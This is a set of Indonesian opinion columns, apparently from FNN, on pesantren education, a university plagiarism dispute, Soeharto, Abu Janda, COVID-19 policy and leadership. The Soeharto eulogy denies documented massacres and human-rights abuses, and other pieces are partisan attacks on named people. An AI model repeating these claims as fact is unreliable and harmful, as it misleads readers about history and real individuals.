perhatian. Pertama, Pondok pesantren abad kini harus mampu membangun wawasan global. Bahwa dunia kita saat ini adalah dunia global yang memiliki berbagai karakter di antaranya: 1) kecepatan yang dahsyat. Dengan kemajuan sains dan teknologi, khususnya di bidang informasi segala sesuatu bersifat instant. Di sinilah pesantren harus mampu mempersiapkan SDM yang jeli, cermat dan cekatan menangkap peluang yang ditawarkan oleh dunia. 2) dunia mengalami pengecilan. Semua manusia berada dalam satu rumah di bawah atap yang sama. Dan karenanya pilihan yang ada hanya damai dan kerjasama atau saling mengusur dari rumah yang menjadi milik bersama itu. 3) dunia global juga melahirkan kompetisi yang ekstra ketat. Di sinilah Pondok harus mempersiapkan SDM yang kompetitif (unggulan). Kedua, Pondok Pesantren tidak boleh kehilangan fondasi ruhiyahnya. Karena bagaimanapun juga pesantren adalah pusat pengokohan iman dan karakter. Iman dalam Al-Quran itu digambarkan bagaikan pohon yang baik. Akarnya kuat menghunjam ke dalam tanah, rantingnya tinggi menjulang langit, dan memberikan buah-buah setiap saat dengan izin Tuhannya. Sebuah penggambaran bahwa iman yang kokoh tidak mudah goyah. Apalagi tercabut oleh keadaan apapun. Ketinggiannya menggambarkan bahwa Iman itu harus “visible” (terlihat) dengan karya dan inovasi (amal saleh). Dan buah-buahnya memberi manfaat luas bagi manusia. Intinya, di pesantren itu harus terbentuk Iman yang kuat dan sehat, yang dapat dirasakan oleh orang banyak. Bahkan Iman tersebut pada akhirnya menjadi fondasi terbentuknya peradaban manusia. Ketiga, di Pondok itu terbangun “aqliyah” (akal, pemikiran, logika, rasionalitas”) yang tajam dan luas. Dunia kita adalah dunia yang rasional. Dunia yang semakin menjadikan Ilmu dan rasionalitas sebagai bahan pertimbangan dalam menjalani kehidupan. Dan Islam sendiri adalah agama yang sangat menjunjung tinggi rasioanalitas itu. Tentu dengan catatan bahwa rasionalitas itu adalah pertimbangan akal yang tidak liar (wild thinking). Rasionalitas liar itu maksudnya adalah pemikiran yang terlepas kendali, sehingga melanglang buana tanpa arah. Itu akan terjadi ketika pemikiran manusia tidak dikendalikan oleh wahyu Samawi. Selama pemikiran itu terkait dan terikat oleh wahyu Samawi, Al-Quran dan as-Sunnah, maka apapun bentuknya akan diapresiasi Islam. Inilah bentuk rasionalitas yang harus dibangun dan dikembangkan di Pondok Pesantren. Sehingga pendekatan-pendekatandogmatis yang seolah dipaksakan telah usang. Kaum Muslim millennial, apalagi di dunia Barat akan semakin terpental dengan pendekatan keagamaan yang bersifat dogmatis yang serasa dipaksakan. Keempat, Pesantren harus mampu melahirkan ulama yang memiliki kemampuan komunikasi yang handal. Selain komunikasi dalam arti luas, termasuk “cultural adjustment” (penyesuaian budaya) yang kadang berbeda, juga kemampuan bahasa yang handal. Diakui atau tidak, salah satu kekurangan (handicap) Ulama Indonesia adalah kemampuan komunikasi. Khususnya penguasa bahasa asing, yang lemah. Bahkan mereka yang pernah belajar di luar negeri sekalipun, anggaplah Timur Tengah, bahasa Arabnya rata-rata bersifat bahasa pasif. Dalam dunia global, peranan ulama Indonesia sangat terbatas. Hal itu terlihat ketika sebagian Ulama keluar negeri, rata-rata dimanfaatkan oleh warga Indonesia. Itupun terbatas para orang tua. Anak-anak remaja tidak tertarik dengan pendekatan dalam bahasa dan kultur yang kental dengan negara asal. Padahal keperluan yang paling mendasar dihadirkannya guru ke sebuah negara, ambillah Amerika misalnya, salah satunya untuk membantu menjaga keilmuan dan keimanan generasi yang hampir hilang (lihat tulisan saya: American Muslim and the Lost Generation). Kelima, Pondok Pesantren perlu mempersiapkan keilmuan yang bersifat inovatif dan proaktif. Bukan keilmuan yang bersembunyi dibalik titel akademis yang banyak. Tetapi keilmuan yang produktif dan inovatif. Keilmuan yang dapat merespon kepada kebutuhan dunia. Hal ini tentunya akan banyak ditentukan oleh “mindset” yang terbangun dalam memahami keilmuan, termasuk keilmuan Islam. Bahwa ilmu bukan sekedar tahu. Tetapi yang terpenting adalah bahwa pengetahuan itu melahirkan kemanfaatan yang luas bagi manusia. Inilah yang dikenal dengan “ilmun naafi’” sebagai dalam doa yang dipinta. Sebagai contoh saja. Bagaimana seharusnya ulama memahami ayat Al-Quran, “sesungguhnya pada kesulitan itu ada kemudahan”? Pemahaman yang inovatif dan proaktif dari ayat ini adalah bahwa orang-orang Islam itu harus mampu menghadirkan kemudahan di saat manusia menghadapi kesulitan. Bukan sekedar percaya bahwa setelah kesulitan akan ada kemudahan. Dengan Covid 19 misalnya, apa kemudahan yang orang Islam hadirkan? Atau justeru orang menunggu kemudahan dari orang lain? Menunggu vaksin dari Amerika atau China misalnya? Lalu dimana makna yang kita fahami dari “inna ma’al ‘usri yusra?”. Keenam, Pondok Pesantren harus membangun lingkungan yang mampu mengembangkan pemikiran yang berkemajuan. Pemikiran yang berkemajuan itu akan terlihat pada kemampuan dan keberanian untuk berijtihad, termasuk dalam keilmuan Islam. Sebab ada masa-masa dimana Umat ini menjadikan ijtihad sebagai sesuatu yang tabu, bahkan dianggap membawa dosa. Biasanya dengan mamakai dalil, “siapa yang berdusta terhadapku maka diapkan tempatnya di neraka” (hadits). Padaha hadits ini lebih sebagai peringatan dan ancaman kepada mereka yang mencipta-cipta hadits dan mengaitkannya dengan Rasulullah SAW. Tetapi kalau berusaha memahami ayat atau hadits dengan akal dan Ilmu alat yang cukup (termasuk bahasa) maka itu adalah ijtihad. Dan ijtihad akan selalu diapresiasi. Jika benar dapat dua pahala. Dan jika salah juga masih dapat satu pahala. Ketujuh, Pondok Pesantren harus membangun suasan, dimana santri-santriyah mampu membangun “self confidence” (rasa percaya diri) yang tinggi. Self confidence itu bukan keangkuhan. Self confidence itu berarti ada potensi sekaligus keberanian untuk mendaya gunakannya untuk kemaslahatan umum. Angkuh itu merasa lebih dari orang lain, justeru terkadang realitanya tidak ada potensi. Untuk Indonesia mampu memainkan peranan signifikan dan diakui oleh dunia global, rasa minder (inferioritàs) yang sejak lama menjangkiti bangsa ini harus dirubah. Masanya membangun percaya diri bahwa bangsa ini adalah bangsa besar yang potensial dan mampu sebagaimana bangsa besar lainnya. Hal ini juga sangat diperlukan oleh para ilmuan dan Ulama Indonesia untuk tampil di dunia global. Kekurangan para Ulama kita terkadang kurang percaya diri. Apalagi ketika berhadapan dengan ulama dari Timur Tengah.Padahal sejarah keislaman tidak selalu didominasi oleh Ulama Arab. Begitu banyak muhaddits (ahli hadits) maupun fuqaha (ahli fiqhi) dari kalangan ‘ajam (non Arab). Masanya bangsa ini, termasuk Ulamanya untuk bangkit dan berada di garis depan untuk menampilkan Islam yang saat ini dirindukan dunia. Islam itu harusnya memang ditampilkan bangsa yang berkarakter “rahmatan lil-alamin”. Bangsa yang mampu menyatukan niai-nilai universal Islam dengan kehidupan dunia masa kita. Termasuk di dalamnya syura, sopan-santun dan keramahan, penghormatan pada wanita, HAM, serta komitmen keagamaan dalam tatanan kerukunan dan toleransi. Semua itu di Indonesia bukan sekedar teori. Tetapi telah dan tetap mampu dibuktikan di tengah dinamika sosial yang ada. Tentunya disinilah kemudian Pondok Pesantren memiliki peranan krusial dan signifikan untuk mewujudkan semua itu. Semoga! Penulis adalah Imam di Kota New York & Presiden Nusantara Foundation.

Rektor Baru USU Harus Rehabilitasi Dua Dosen Yang Pernah Divonis Otoplagiasi

by Asyari Usman Medan, FNN - Pelantikan Muryanto Amin sebagai rektor USU belum lama ini menyertakan konsekuensi. Sekarang, dia harus mencabut dua keputusan rektor yang mengukuhkan perbuatan otoplagiasi (self plagiarism) atas dua dosen USU di masa lalu. Tidak hanya mencabut keputusan itu, Rektor Muryanto Amin harus merehabilitasi nama baik kedua dosen tsb. Dia juga wajib memberikan kompensasi material dan non-material akibat predikat otoplagiasi. Yang pertama adalah Dr Maulida ST MSc, pengajar Fakultas Teknik. Pada 2013, dia dinyatakan berbuat plagiasi berdasarkan SK Rektor USU No. 30/UN5.1.R/SK/SDM/2013 tanggal 15 Januari 2013. Hukuman untuk Maulida cukup berat. Selain tidak boleh mendapatkan promosi, dia juga tidak bolehkan diusulkan menjadi guru besar (profesor) di USU maupun di luar, tanpa batas waktu. Yang kedua adalah Drs Arifin Lubis MM Ak, pengajar Fakultas Ekonomi Bisnis. Pada 2015, dia dinyatakan bersalah melakukan otoplagiasi berdasarkan SK Rektor USU No. 149/UN5.1.R/SK/SDM/2015 tanggal 2 Februari 2015. Dia dihukum penundaan kenaikan pangkat selama satu tahun. Mengapa rektor baru USU harus mencabut kedua SK Rektor di atas ini? Tidak lain karena Kemendikbud telah mengabaikan SK Rektor USU (2016-2021) No. 82/UN5.1.R/SK/KPM/2021 tanggal 14 Januari 2021 yang menyatakan bahwa Muryanto Amin (rektor 2021-2026) telah dengan sah dan terbukti secara sah dan meyakinkan melakukan otoplagiasi. Kedua dosen USU yang disebutkan di atas (Dr Maulida ST MSc dan Drs Arifin Lubis MM Ak) dijatuhi hukuman atas desakan dari Kemendikbud waktu itu. Hari ini, Kemendikbud malah menganulir keputusan Rektor USU (2016-2021) yang menyatakan Muryanto Amin terbukti melakukan otoplagiasi. Kepada kedua staf pengajar ini harus diberikan kompensasi. Mereka menderita kerugian material dan non-material yang disebabkan keputusan yang tidak seharusnya ditimpakan kepada mereka jika berpedoman pada kasus Muryanto. Kemendikbud harus bertanggung jawab atas kedua keputusan masa lalu itu yang hari ini dibuktikan keliru total. Kenapa ada tanggung jawab Kemendikbud? Karena, kata para dosen USU, kedua surat keputusan otoplagiasi 2013 dan 2015 itu diterbitkan atas desakan Kementerian. Jika nama baik kedua dosen itu tidak dipulihkan dan tidak ada kompensasi, berarti Rektor Muryanto Amin melakukan “moral crime” (kejahatan moral) yang sangat tak pantas dilakukan oleh seorang pimpinan lembaga keilmuan yang berbasis kejujuran dan keadilan. Kedua dosen yang dihukum otoplagiasi di masa lalu itu bisa melancarkan gugatan kalau Rektor USU dan Kemendikbud tidak segera memulihkan nama baik mereka. Sebagai langkah awal, kedua dosen tsb bisa melayangkan somasi yang berisi tuntutan permintaan maaf secara terbuka di sejumlah media cetak dan media elektronik.[] Penulis adalah Wartawan Senior FNN.co.id.

Memori 13 Tahun Wafatnya Jendral Besar Soeharto

by Irjen Pol. (Purn.) Anton Tebah Digdoyo Jakarta FNN - Tanggal 27 Januari 2021 ini, insya Allah baik untuk kita membuka memori hari wafatnya Bapak Pembangunan Indonesia Jendral Besar TNI (Purn.) Soeharto. Pak Harto wafat tanggal 27 Januari 2008, pada 13 tahun silam. Bersyukur, saya yang hanya alumni Sekolah Calon Perwira (SECAPA) Polri pernah ditugaskan menjadi Sekretaris Pribadi (Spri) wong agung Jendral Besar Soeharto. Mendampingi Pak harto di hari-hari yang sulit. Karena tiada hari tanpa demo. Bahkan terpaksa sering ikut menghalau demonstran yang merangsek ke kediaman beliau di Jalan Cendana Menteng. Namun menjelang akhir hayatnya, beliau banyak difitnah terutama oleh keluarga ex Partai Komunis Indonesia (PKI) dan kelompok-kelompok yang pro dengan PPKI. Majalah TIME bahkan ikut-ikutan memfitnah Pak Harto. TIME memberitakan kalau Pak Harto nyimpan uang triliyunan rupiah di bank-bank Swis. Dengan pemberitaan ini, Pak Harto yang balik menantang semua orang atau pihak yang telah memfinahnya. Jika ada uangnya sepeserpun di bank-bank Swis, maka silakan saja diambil atau disita untuk negara. Untuk membiayai kegiatan pembangunan nasional. Tragisnya, Presiden Gus Dur ketika itu ikut-ikutan percaya juga. Sehingga Gus Dur perintahkan Jaksa Agung Marzuki Darusman untuk melakukan penyelidikan ke bank-bank di Swis dan negara-negara lain. Saya dan Kapolri dipanggil Jaksa Agung untuk ikut membuat perencanaan penyelidikan. Walhasil Jaksa Agung tidak menemukan simpanan apapun dari Pak Harto di bank-bank Swis. Akhirnya Pak Harto yang balik menuntut secara hukum terhadap Majalah TIME. Hakim memvonis Majalah TIME bersalah, dan harus membayar denda akibat berita fitnah. Tdak cukup sampai di situ. Di dalam negeri, Pak Harto juga difitnah sebagai Pelanggar Hak Asasi Manusia (HAM). Tetapi penuduh tak bisa buktikan tuduhannya. Bahkan berkat Bapak Pembangunan Indonesia inilah, tidak ada perang antar suku. Tidak ada penistaan kepada agama, nggak ada pembantaian. Tidak juga ada pembakaran masjid dan lain-lain. Dikau disebut kejam. Tetapi berkat Pak harto juga Indonesia nggak ada teroris, nggak ada itu bom Bali, nggak ada kriminalisasi ulama, nggak ada pembakaran mesjid dan pasantren. Dikau disebut koruptor. Tetapi berkat pembangunan yang pesat digalakan di segala bidang, bisa nyaur utang peninggalan dari presiden sebelumnya. Dikai difitnah sebagai penindas rakyat. Tetapi berkat bapak, petani menjadi subur, dan hidup makmur. Bisa Swasembada Pangan. Bisa membantu beras ke negara-negara lain. Diberikan pengahargaan oleh FAO, organ PBB sebagai negara yang sukses mencapai Swasembada Pangan. Kalau difitnah sebagai koruptor hebat, maka selama 33 tahun berkuasa, seharusnya Pak Harto menjadi orang terkaya di dunia. Tetapi nyatanya pak harto hidup sangat sederhana. Makan pun seadanya dengan makanan kesukaannya sayur lodeh dan tempe garit. Pak Harto dituduh Dalang PKI. Tetapi berkat Pak Harto juga PKI tidak bisa berkutik. Bila tuduhan itu benar, maka Pah harto pasti sudah dihabisi Jendral Nasution waktu itu . Selama 33 tahun berkuasa, Indonesia di tangan Pak harto seharusnya sudah menjadi negara komunis. Dikau disebut tak bermoral. Tetapi era bapak Indonesia nggak menjadi sarang narkoba. Nggak ada LGBT yang berani buka suara. Nggak ada yang berani sebut pesantren sebagai sarang teroris. Ngga ada bisa menyebut Hafidz Quran dan masjid sumber radikal. Nggak ada yang berani rendahkan tenaga Kerja Indonesia (TKI), lalu diganti dengan Tenaga Kerja Asing (TKA) asal Republik rakyat Cina (RRC). Nggak ada yang rasisme. Nggak ada juga tuh BuzerRp! Dikau disebut pengkhianat bangsa. Tetapi sejengkal tanah pun negara lain nggak ada yg berani ganggu. Nggak ada kapal-kapal asing yang bebas masuk ke laut perairan kita. Timor Timor tak akan lepas. Badan Usaha Milik Negara (BUMN) seperti Kapal Tanker, Indosat, pulau nggak akan dijual. Faktanya ratusan juta rakyat mencintaimu. Berjuta rakyat mengantar ke pemakamanmu. Kini hampir semua rakyat Indonesia merindukanmu. Selalu mengenang sesanti Pak Harto dengan yang senyum sumringah. Para kepala negara dunia menyebutnya dengan “The Smiling General”. Enak Jamanku To!!! Bagiku dikau adalah “Macan Asia”. Sampai saat ini belum ada yang bisa mejadi sepertimu. Kini yang ada hanya silih hujat, silih dengki, silih caci. Sehingga apapun masalahnya, selalu saja radikalisme, intoleransi dan ekstrimisme yang menjadii kambing hitamnya. Fitnah bertebaran sana-sini. Ruwet, Ruwet, Ruwet, dan Ruwet.. Nggak bisa membangun, malah utang yang menggunung. Mengenang hari wafatnya Bapak Pembangunan Indonesia pada 27 Januari 2008 - 27 Januari 2021. Semoga bapak bahagia di alam baka. Terima kasih untuk semua karya bapak dalam membangun bangsa, termasuk 999 masjid dan infrastruktur beribu-ribu kilometer yang tersebar di seluruh NKRI sebagai amal jariyyah yang pahalanya terus ngalir deras hingga yaumil kiyamah. Alfatihah untuk Bapak Pembangunan Jendral Besar TNI (Purn.) Soeharto. Aaamien ...... Penulis adalah Sekretaris Pribadi Bapak Soeharto Setelah Turun Dari Presiden.

Menunggu Langkah Polisi Atas Kegilaan Abu Janda

by M. Rizal Fadillah Bandung FNN – Apakah Abu Janda itu aset negara? Hueeeek...! Sudah pasti bukan. Tetapi anehnya Abu Janda dengan kegilaannya ini seperti dipelihara oleh negara. Apakah negara mendapatkan value dari kegialaan Abu Janda? Juga tidak. Paling-paling yang mendapatkan keuntungan adalah kekuasaan dan mereka yang mencari perlindungan di sekitar kekuasaan. Selebihnya tidak ada manfaat apa-apa dari Abu Janda, selain kegaduhan dan perpecahan diantara sesama anak bangsa yang sengaja dilalukan Abu Janda. Walau diserang habis-habisan, bahkan dilapor-laporkan. Namun terkesan Abu Janda tetap saja diproteksi. Kini dengan dibela Denny Siregar, Abu Janda terus bekoar-koar seperti orang paling benar sendiri di republik ini. Ketua Umum Dewan Pimpinan Pusat Komite Nasional Pemuda Indonesia (KNPI) Haris Pratama pun diancam-ancam Abu Janda. Badut istana berjoget-joget dengan sesumbar bahwa dirinya kebal hukum. Semakin membuktikan bahwa hukam hanya tegak kepada mereka yang menjadi opisisi kepada penguasa. Tidak kepada mereka yang mendukung penguasa. Kapolri Jendral Listyo Sigit diuji, apakah bisa membawa Polri menjadi penegak hukum yang sebenarnya? Atau hanya penegak kepentingan kekuasaan. Fakta hukum yang ada adalah Abu Janda sangat layak untuk diproses secara hukum, dan harusnya ditahan. Menghina agama, melecehkan aktivis, rasis dan menantang opini dengan akting bersama zionis. Membiarkan bebas Abu Janda, sama saja menjadikan Polri sebagai cerminan dari kegilaan seorang pembual, peleceh dan pemecah-belah anak bangsa. Bukan persatuan yang bakal ditemukan dalam menghadapi dan menanggulangi berbagai tekanan permasalahan bangsa hari ini seperti ekonomi, kesehatan dan sosial. Karena Abu Janda terus dan terus memproduksi perpecahan. Pengurus Wilayah Nahdatul Ulama (PW NU) DKI Jakarta merasa gerah oleh ulah Abu Janda. Banyak prilakuknya yang merugikan NU. Gerakan Pemuda (GP) Ansor diminta oleh NU memanggil Abu Janda untuk mengklarifikasi keanggotaannya sebagai anggota Banser. Perlu dilakukan klarifikasi atas status sebagai anggota Banser. Jika iya, Abu Janda diminta untuk segera dinonaktifkan. Katib Syuriah PB NU sudah menilai Abu Janda banyak merugikan NU. Kulminasi dari pernyataan Abu Janda yang nyeleneh adalah soal rasis "evolusi" yang ditujukan kepada pegiat Hak Asasi Manusia (HAK) dan Keadilan Natalius Pigai. Dia juga menyebut sebutan "Islam arogan". Partai-partai politik sudah mendesak penegakkan hukum atas kasus Abu Janda, demikian juga dengan suara DPR. Ternyata dukungan pelaporan oleh KNPI soal rasis dan penistaan agama semakin meluas. Pemuda Muhammadiyah, Hima Persis, terakhir Ikatan Pemuda Tionghoa pun ikut mengecam perilaku rasis Abu Janda, dan mendukung pelaporan yang dilakukan Ketua Umum DPP KNPI Haris Pratama. Tinggal menunggu sikap tegas dari Bareskrim Polri saja. Nampaknya dengan penahanan Ambroncius Nababan untuk kasus rasis yang sama, menimbulkan harapan bahwa Abu Janda bisa jadi abu-abuan sekarang ini. Kena batunya karena mencoba-coba untuk bermain dan berurusan dengan Natalius Pigai, tokoh Papua yang menjadi aktivis ’98 sejak kuliah di Yagyakarta. Apalagi ikut menyerang agama. Jika Abu Janda akhirnya "dilepas" negara dengan diproses hukum, maka akan berdampak psikologis kepada para rekan-rekannya "se-ideologis". Membuat gemetar sedikit. Umat Islam Tasikmalaya akan lebih gencar menagih hutang laporan polisi terhadap Denny Siregar yang menghina santri Hafidz Qur’an. Ade Armando juga memiliki banyak tabungan kasus keumatan. Abu Janda dengan segala kegilaan gaya dan ucapannya, semoga saja segera terhenti. Negara memang perlu menamatkan riwayat Abu Janda. Biarkan saja dia menikmati status baru sebagai "janda yang terpenjara". Agar sadar bahwa dirinya tidak kebal hukum negeri ini. Hukum pun sebal padanya. Apalagi manusia yang ber-Pancasila dengan konsensus 18 Agustus 1945. Ada pepatah "bermain api hangus, bermain air basah". Risiko penjara adalah akibat ulah sendiri dari sang badut istana yang bernama Abu Janda alias Permadi Arya. Rakyat menunggu untuk menyaksikan langkah Kapolri bari Jendral Listyo Sigit yang masih merangkap sebagai Kabareskrim Polri. Penulis adalah Pemerhati Politik dan Kebangsaan.

Korban Yang Terus Berjatuhan (#2 serial derita rakyat)

by Ubedilah Badrun Jakarta FNN - Setelah menulis artikel “Luka Hati Rakyat Yang Semakin Dalam” (#1), saya lanjutkan dengan serial derita rakyat ini. Sebelum menulis artikel ini saya membayangkan wajah sepupu dan ponakan saya yang positif covid. Mereka harus dibantu ventilator di Rumah Sakit. Ada juga saudara yang melakukan karantina mandiri sendirian dirumah berhari-hari. Juga tetangga satu keluarga berlima semuanya diboyong dalam penanganan Rumah Sakit. Membayangkan juga wajah dua teman seangkatan dan satu kolega yang sudah lebih dulu dipanggil Allah pekan lalu. Juga terngiang wajah tetangga dan anak muda yang lebih dulu dipanggil sang Maha Pencipta beberapa hari lalu. Teriring do'a untuk semuanya yang telah wafat semoga husnul khotimah. Semoga dilapangkan kuburnya dan ditempatkan di Surga-Nya. Aamiin. Peristiwanya terasa begitu cepat. Hanya berselang beberapa hari saja, kemudian Allah Subhaanahu Wata'ala memutuskan, kami berpisah untuk selamanya. Mereka berada di alam kubur dan menuju akhirat kelak. Cerita diatas sengaja saya narasikan untuk mengingatkan kita semua khususnya penguasa rezim ini, bahwa situasi Covid-19 di Indonesia memasuki episode berbahaya. Positivity rate-nya lebih dari 20%. Empat kali lipat lebih dari standar WHO yang 5%. Bagi yang tinggal di wilayah Jakarta, Jawa Barat, Banten,Jawa Tengah, Jawa Timur, Kalimantan Timur, Papua, Riau, Sumatra Barat, Sumatera Utara, Sulawesi Selatan serta mungkin provinsi lainya, suasana yang saya rasakan kemungkinan dialami juga di wilayah tersebut. Kalau bukan kita sendiri, keluarga, tetangga, saudara, mungkin teman kantor, atau teman seangkatan ada yang positif covid atau bahkan ada yang meninggal dunia. Saat tulisan ini dibuat, update positif Covid-19 terkonfirmasi lebih dari 1 juta, dan yang meninggal dunia sudah mencapai 29.518 jiwa. Angka yang tentunya mencengangkan kita semua, sambil bertanya-tanya, apa saja ya kerja pemerintah untuk mengatasi Covid-19 ini? Ko semakin bertambah? Tidak ada tanda-tanda bakal menurun angka harian yang positif tertular. Menteri Kesehatan yang baru sempat berkata "saya sudah kapok, saya tidak mau lagi memakai data Kemenkes". Pada respon berikutnya Menkes mengatakan "cara testingnya salah. Testingnya banyak, tetapi kok naik terus". Kemudian Menteri Kesehatan juga mengatakan "600 tenaga kesehatan yang wafat, jangan sampai mereka wafat sia-sia". Narasi diatas ada kesan Menkes berfikir keras berpadu dengan cemas. Bahkan mengarah ada semacam kekhawatiran yang besar. Bagaimana mungkin data kementrian yang tidak dipercaya oleh menterinya sendiri? Kejadian seperti ini baru pernah terjadi. Mencermati fenomena itu, saya tiba-tiba saja teringat respon pemerintah pusat hampir setahun lalu, yang menolak menerapkan lockdown wilayah Ibukota Jakarta. Alasannya pemerintah ketika itu karena lebih mengutamakan nasib ekonomi dibanding nyawa rakyat. Sesumbar bahwa tak mungkin ada yang terjangkit virus Corona di Indonesia. Dengan keyakinan itu, pemerintah memberi diskon 30% kepada para wisatawan yang berkunjung ke Indonesia saat pandemi. Pemerintah bahkan membiayai influencer puluhan milyaran rupiah untuk ajak wisatawan datang ke Indonesia. Tetapi ekonomi terus memburuk hingga saat ini, padahal ratusan triliun rupiah sudah dikucurkan untuk atasi ekonomi. Ada juga pejabat penting yang berkelakar waktu itu dengan mengatakan izinya berbelit-belit virus Corona tidak masuk Indonesia, juga berkelakar COVID-19 tidak masuk ke Indonesia karena setiap hari kita makan nasi kucing jadi kebal, dan lain-lain. Kelakar yang tidak sensitif pada derita publik. Begitu kasus terkonfirmasi positif Covid-19 mencapai angka 1 juta orang lebih, dan yang meninggal lebih dari 29.000 orang, penguasa justru bersyukur. Katanya pemerintah bisa mengendalikan Covid-19. Ironi cara berkomunikasi penguasa. Faktanya penanganan masih sengkarut. Baik pelaksanaan testing (pengetesan), tracing (pelacakan), treatment (perawatan) masih rendah dan belum merata. Pelaksanaan protokol kesehatan 3M (memakai masker, mencuci tangan, menjaga jarak) juga kian longgar, karena sejak awal rezim tidak mau tegas, masih membolehkan lalu lintas sosial dari dan ke Jakarta dan ke tempat-tempat lain. Kabar terbaru 153 Tenaga Kerja Asing (TKA) dari Republik Rakyat Cina (RRC) beberapa hari lalu masuk Indonesia melalui bandara Sekarno Hatta. Penjangkitan Covid-19 terus meningkat. Sementara dari sisi fasilitas juga kekurangan ruang isolasi dan tenaga kesehatan (nakes) yang makin berkurang karena menjadi korban. Realisasi insentif nakes yang belum tuntas, sengkarut data vaksinasi, hingga buruknya komunikasi publik menunjukan pemerintah semakin tidak berwibawa di mata rakyat. Baru-baru ini Lowy Institute (28/1/2021), sebuah lembaga independen terkemuka yang berkedudukan di Sydney Australia merilis indeks kinerja penanganan Covid-19. Indonesia menduduki posisi ke 85 dari 98 negara di dunia. Posisi Indonesia jauh dibawah Vietnam (2), Thailand (4), Singapura (13), Malaysia (16), Myanmar(24) dan Filipina (79). Bukankah itu bukti bahwa tata kelola penanganan Covid-19 sangat buruk. Bahkan terlihat sporadis dan makin dikacaukan oleh komunikasi penguasa yang buruk atau memang menunjukan buruknya manajemen penanganan Covid. Keburukan yang bukan semata-mata dari satgas, tetapi dari orang nomor satu di republik ini? Pertanyaan publik seperti itu sering muncul dalam diskursus biopolitic diberbagai forum diskusi. Sebab faktanya korban terus berjatuhan dan seringkali aspirasi solutif yang berbeda tidak didengar. Maka, secara rasional wajar jika ada yang bertanya apakah korban yang berjatuhan itu karena perilaku korban atau karena leadership penanganan yang salah? Yang jelas korban terus berjatuhan! Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta (UNJ)

Mau Jadi Presiden?

by Tony Rosyid Jakarta FNN- Pemimpin itu soal nasib. Betul itu. Banyak orang yang tak layak, tetapi jadi pemimpin. Inilah yang disebut "holders of exceptional positions". Orang bodoh yang mengambil porsinya orang pintar. Dia bisa menjadi kepala daerah atau presiden karena nasib saja. Meski tak memenuhi syarat, baik itu integritas dan kapasitas. Sistem pemilu di Indonesia memberi ruang bagi mereka yang tak memenuhi "syarat substansial" untuk menjadi pemimpin. Sebab, untuk menjadi pemimpin di negeri ini hanya butuh popularitas dan akses ke pendanaan. Kalau syarat subtansial ini sudah dipenuhi, maka jalan untuk menjadi pemimpin terbuka. Soal popularitas, pelajari saja apa yang diminati media. Semua sikap dan tindakan disesuaikan dengan kebutuhan media, pasti populer. Blusukan, masuk gorong-gorong, datangi gelandangan, nyebur ke comberan, ikut becek-becek bersama petani, itu yang disukai media. Dengan modal popularitas dan akses dana, anda bisa beli tiket partai dan menghipnotis pemilih. Cukup itu saja. Simple kan? Bicara "syarat substansial", pemimpin idealnya adalah orang yang banyak membaca. Ini bukan hanya soal pengetahuan dan wawasan saja. Tetapi yang terutama soal mental. Orang yang banyak baca, setidaknya dia pertama, mau mendengar banyak ide dan gagasan. Kedua, peduli pada data. Ketiga, menganggap penting analisis dan kajian. Pemimpin yang tak suka, atau miskin bacaan, sulit mendengar pendapat orang lain. Cenderung tak peduli pada data. Tidak menyaring banyak pandangan, dan abai terhadap kajian. Yang penting kerja dan kerja. Tidak sabar, dan ingin serba cepat. Instan dan spontan. Pokoknya, dengar atau lihat masalah, langsung selesaikan. Tak berpikir tingkat efektifitas dan dampaknya. Yang penting, selesaikan. Lihat orang gak bisa nyebrang, bikin pelabuhan. Beli kapal-kapal, agar masyarakat bisa nyebrang. Nggak berpikir kemampuan biayanya. Berapa besar manfaatnya, dan bagaimana cost kedepannya? Pokoknya dermaga harus dibuat. Ya, banyak sepidan mangkrak. Kenapa? Karena tidak berbasis pada kajian. Lihat itu bandar udara Kertajati Jawa Barat. Ingin setiap daerah tumbuh ekonominya, bikin jalan tol. Bahkan bila perlu, di semua provinsi ada tol. Pertanyaanya, apakah masyarakat di wilayah itu butuh jalan tol? Kalau nggak butuh, tol pastui sepi. Nggak mampu biaya perawatan. Bangkrut, dijual. Semua ini karena program tak berbasis kajian. Ada juga yang nggak tahan lihat gelandangan. Main kasih rekomendasi kerja di BUMN. Nggak melihat dulu apa masalah mereka? Berapa banyak jumlahnya? dan dimana sebaran wilayahnya? Nggak mengkaji lebih dulu program menteri sebelumnya, mana yang belum efektif? Apa yang salah dan perlu dibenahi dari program sebelumnya? Pokoknya, kasih kerjaan. Emang mereka lagi cari kerja? Selain memperlebar telinga, menajamkan mata, dan membuat peka syaraf otak, membaca memberi wawasan dan kekayaan pandangan. Dengan membaca, seorang pemimpin punya banyak alternatif dalam membuat keputusan. Ini akan mempengaruhi kematangannya dalam membuat setiap kebijakan. Selain membaca, seorang pemimpin mesti gaul. Maksudnya, banyak relasi. Ketika dia jadi pemimpin, kenal banyak orang dengan latar belakang profesi dan kemampuannya. Lalu menyiapkan orang-orang yang layak untuk diajak berkolaborasi mengelola negara. Tahu integritas dan kapasitas mereka. Bukan hanya berpikir bagaimana menang, tetapi juga bagaimana mengisi kemenangan itu. Nah, disini seorang pemimpin butuh teknokrat handal dan berintegritas. Idealnya, seorang pemimpin punya latar belakang aktifis yang akrab dengan persoalan-persoalan bangsa. Aktifis di dalam atau di luar pemerintahan. Lepas apapun profesinya, keakraban dengan problem bangsa akan membantunya untuk memahami dan memetakan persoalan. Aktifis itu terlatih berpikir cerdas, bertindak cepat dan terukur. Tidak seperti akademisi tulen yang terkungkung oleh teori-teori dan muter-muter dalam wacana. Aktifis itu paham masalah, tahu teorinya, cepat keputusannya. Poinnya, sebelum jadi pemimpin, ia mesti paham apa masalah yang dihadapi bangsa ini. Ada gagasan di otaknya bagaimana menyelesaikan masalah itu. Bayangkan, jika seorang pemimpin nggak punya data. Nggak paham masalah. Nggak tahu apa-apa soal bangsa. Bagaimana dia punya gagasan dan program. Akibatnya, banyak pemimpin yang nggak paham apa yang diucapkan dan dijanjikan saat kampanye. Sebab, yang membuat janji itu timsesnya, bukan dirinya. Dia nggak paham janji yang disampaikan itu. Paham saja enggak, bagaimana melaksanakan? Model-model man of contradictions di negeri ini banyak. Karena tak memenuhi "syarat substansial" sebagai pemimpin. Ngaco jadinya. Asal kerja saja. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Kalau Mau Sukses Gerakan Wakaf Uang, Begini Caranya Pak

